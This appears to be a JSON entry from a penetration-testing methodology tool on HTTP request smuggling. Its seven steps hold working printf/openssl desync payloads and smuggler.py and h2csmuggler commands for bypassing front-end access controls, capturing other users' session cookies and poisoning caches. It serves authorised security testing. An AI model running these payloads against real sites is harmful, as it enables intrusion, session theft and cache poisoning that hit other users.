{
  "slug": "request-smuggling",
  "title": "HTTP Request Smuggling",
  "phase": "Exploitation",
  "description": "Test for HTTP request smuggling (desync) between front-end and back-end servers to bypass access controls, capture other users' requests, and poison caches.",
  "difficulty": "high",
  "tags": [
    "exploitation",
    "request-smuggling",
    "http-desync",
    "cache-poisoning",
    "http2"
  ],
  "tools": [
    "Burp Suite",
    "HTTP Request Smuggler",
    "smuggler.py",
    "h2csmuggler"
  ],
  "steps": [
    {
      "id": "smuggle-01",
      "title": "Understand the desync variants",
      "description": "Map how the front-end and back-end disagree about request boundaries — CL.TE, TE.CL, TE.TE, CL.0, and H2.CL — so you can pick the right probe for the target stack.",
      "notes": "CL.TE means the front-end honors Content-Length while the back-end honors Transfer-Encoding; TE.CL is the reverse. CL.0 and H2.CL arise when a server ignores the body length entirely or when HTTP/2 is downgraded to HTTP/1.1 with a mismatched length. Identify which server terminates TLS and which parses which header before crafting payloads."
    },
    {
      "id": "smuggle-02",
      "title": "Detect desync with timing probes",
      "description": "Use timing-based detection to find smuggling without needing a differential response, since a partial request that stalls the back-end reveals a boundary disagreement.",
      "commands": [
        "python3 smuggler.py -u https://target.com/ -m timeout",
        "printf 'POST / HTTP/1.1\\r\\nHost: target.com\\r\\nTransfer-Encoding: chunked\\r\\nContent-Length: 4\\r\\n\\r\\n1\\r\\nA\\r\\nX' | openssl s_client -quiet -connect target.com:443"
      ],
      "notes": "A time delay on a crafted request that should complete instantly is strong evidence of a desync. Run timing probes multiple times to rule out network jitter before trusting the result."
    },
    {
      "id": "smuggle-03",
      "title": "Confirm smuggling with a differential response",
      "description": "Prove the desync by smuggling a prefix that makes the next request on the connection receive an anomalous response, confirming the boundary confusion in-band.",
      "commands": [
        "printf 'POST / HTTP/1.1\\r\\nHost: target.com\\r\\nContent-Length: 49\\r\\nTransfer-Encoding: chunked\\r\\n\\r\\n0\\r\\n\\r\\nGET /404nonexistent HTTP/1.1\\r\\nX: X' | openssl s_client -quiet -connect target.com:443"
      ],
      "notes": "Send the attack request immediately followed by a normal request on the same connection. If the normal request receives the response intended for your smuggled prefix (for example a 404), the desync is confirmed. Always test against your own session first to avoid poisoning other users."
    },
    {
      "id": "smuggle-04",
      "title": "Bypass front-end access controls",
      "description": "Smuggle a request to an internal or restricted path so it is processed by the back-end without passing through front-end authorization or path filtering.",
      "commands": [
        "printf 'POST / HTTP/1.1\\r\\nHost: target.com\\r\\nContent-Length: 54\\r\\nTransfer-Encoding: chunked\\r\\n\\r\\n0\\r\\n\\r\\nGET /admin/delete?user=carlos HTTP/1.1\\r\\nX: X' | openssl s_client -quiet -connect target.com:443"
      ],
      "notes": "Front-end proxies often enforce access control on paths like /admin while trusting anything they forward. Smuggling lets the restricted path reach the back-end directly. Check whether the back-end trusts front-end-only headers you can now inject."
    },
    {
      "id": "smuggle-05",
      "title": "Capture other users' requests",
      "description": "Smuggle a prefix that causes a victim's subsequent request to be appended to an attacker-controlled request that is then stored or reflected, leaking their headers and cookies.",
      "commands": [
        "printf 'POST / HTTP/1.1\\r\\nHost: target.com\\r\\nContent-Length: 330\\r\\nTransfer-Encoding: chunked\\r\\n\\r\\n0\\r\\n\\r\\nPOST /comment HTTP/1.1\\r\\nHost: target.com\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nContent-Length: 400\\r\\n\\r\\ncomment=' | openssl s_client -quiet -connect target.com:443"
      ],
      "notes": "Set the smuggled Content-Length larger than your own body so the parser swallows the start of the next victim request. Retrieve the stored comment to read the captured request, which often contains the victim's session cookie."
    },
    {
      "id": "smuggle-06",
      "title": "Poison the cache via smuggling",
      "description": "Combine a desync with a cacheable response so the smuggled response, or an injected redirect/script, is stored and served to other users of the shared cache.",
      "commands": [
        "python3 smuggler.py -u https://target.com/ -m timeout --exploit"
      ],
      "notes": "Chaining smuggling with an open redirect or reflected header lets you cache a malicious response against a popular path. Confirm the poisoned entry from a clean connection or another IP to prove impact to other users."
    },
    {
      "id": "smuggle-07",
      "title": "Smuggle through HTTP/2 downgrade",
      "description": "When the front-end speaks HTTP/2 but downgrades to HTTP/1.1 for the back-end, inject CRLF or mismatched length headers to desync (H2.CL / H2.TE) and test h2c upgrade smuggling.",
      "commands": [
        "python3 h2csmuggler.py -x https://target.com/ --test",
        "python3 h2csmuggler.py -x https://target.com/ http://target.com/admin"
      ],
      "notes": "HTTP/2 carries length as metadata, so a front-end that rebuilds an HTTP/1.1 request can be tricked by smuggled Content-Length or CRLF in header values. Enable 'Allow HTTP/2 ALPN override' and turn off header normalization in Burp to craft these."
    }
  ],
  "references": [
    "https://portswigger.net/web-security/request-smuggling",
    "https://portswigger.net/web-security/request-smuggling/advanced",
    "https://github.com/PortSwigger/http-request-smuggler",
    "https://github.com/defparam/smuggler",
    "https://github.com/BishopFox/h2csmuggler"
  ],
  "version": "1.0.0",
  "updatedAt": "2026-07-05"
}